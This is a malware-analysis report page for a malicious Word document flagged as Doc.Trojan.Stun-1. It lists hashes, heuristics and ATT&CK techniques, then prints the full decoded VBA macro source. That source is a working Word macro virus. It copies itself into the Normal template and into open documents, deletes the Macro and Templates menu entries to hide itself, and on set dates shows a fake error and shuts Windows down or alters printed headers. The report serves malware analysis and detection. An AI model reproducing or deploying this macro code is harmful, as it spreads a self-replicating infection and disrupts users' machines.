Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b8c1491a86fdba96…

MALICIOUS

Office (OLE)

37.0 KB Created: 2000-06-20 15:51:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3f8e006e8c3cc61ec8e1f410ea03e516 SHA-1: 7e7b8dad1cf2d543ba45dbb621ef8362b0f39acc SHA-256: b8c1491a86fdba96df8d0436d43c1b4e8e76977830d03edca39501fa428b9f20
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing VBA macros. The AutoOpen macro attempts to infect the Normal template and the active document by exporting a component named 'ffastun' to 'c:\ffastun.drv'. This suggests an attempt to establish persistence or spread the infection. The ClamAV detection 'Doc.Trojan.Stun-1' further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Stun-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Stun-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3495 bytes
SHA-256: b05be683b58a0c5fb034cddce95cd7e030568ecf1c81a5a931a4b9631945d482
Detection
ClamAV: Doc.Trojan.Stun-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ffastun"
Sub AutoOpen()
    On Error Resume Next
    If (Day(Now()) = 22 And Month(Now()) = 2) Then
        Call TimeToPay
    Else
        Call MyStealthRoutine
        Call InfectTheFile
    End If
End Sub
Sub FileSaveAs()
    On Error Resume Next
    Call InfectTheFile
    Dialogs(wdDialogFileSaveAs).Show
End Sub
Private Sub InfectTheFile()
Dim ModInDoc As Object
Dim NormTemp As Object
Dim ActDocInfected, NormInfected As Boolean
Dim i As Integer
    On Error Resume Next
    NormInfected = False
    ActDocInfected = False
    With NormalTemplate.VBProject
    For i = 1 To .VBComponents.Count
        If .VBComponents(i).Name = "ffastun" Then
            Application.NormalTemplate.VBProject.VBComponents("ffastun").Export "c:\ffastun.drv"
            NormInfected = True
        End If
    Next i
    End With
    With ActiveDocument.VBProject
    For i = 1 To .VBComponents.Count
        If .VBComponents(i).Name = "ffastun" Then
            ActDocInfected = True
            Application.ActiveDocument.VBProject.VBComponents("ffastun").Export "c:\ffastun.drv"
        End If
    Next i
    End With
    If NormInfected = False Then
        NormalTemplate.VBProject.VBComponents.Import "c:\ffastun.drv"
        Call MyStealthRoutine
        NormalTemplate.Save
    End If
    If ActDocInfected = False Then
        ActiveDocument.VBProject.VBComponents.Import "c:\ffastun.drv"
        Call MyStealthRoutine
        ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
    End If
End Sub
Public Sub FileOpen()
    On Error Resume Next
    Dialogs(wdDialogFileOpen).Show
    Call InfectTheFile
End Sub
Private Sub TimeToPay()
        On Error Resume Next
        Dim i As Integer
        Application.EnableCancelKey = wdCancelDisabled
        MsgBox "Illegal function in modul 0xCB15C001", 32
        Tasks.ExitWindows
End Sub
Sub FilePrint()
    On Error Resume Next
    If Day(Now()) = 22 And Month(Now()) = 7 Then
        Dim message$
        message$ = "Microsuck Windows - How Do You Want To Crash Today?" & Chr(13)
        message$ = message$ & " -= Don't Get Mad With Me, Get UNIX =- "
        With ActiveDocument.Sections(1)
            .Headers(wdHeaderFooterPrimary).Range.Text = message$
            Dialogs(wdDialogFilePrint).Show
            .Headers(wdHeaderFooterPrimary).Range.Text = ""
        End With
    Else
        Application.PrintOut
    End If
End Sub
Private Sub MyStealthRoutine()
    On Error Resume Next
        With Application
            'Spanish Version
            .CommandBars("Tools").Controls("Plantillas y complementos...").Delete
            .CommandBars("Tools").Controls("Macro").Delete
            .CommandBars("Format").Controls("Estilo...").Delete
            'English Version
            .CommandBars("Tools").Controls("Macro").Delete
            .CommandBars("Tools").Controls("Templates and Add-Ins...").Delete
            .CommandBars("Format").Controls("Style...").Delete
        End With
End Sub
Private Sub mPrinText(txt As String)
    On Error Resume Next
    ActiveDocument.Sections(1).Range.InsertAfter txt '& Chr(10) & Chr(13)
End Sub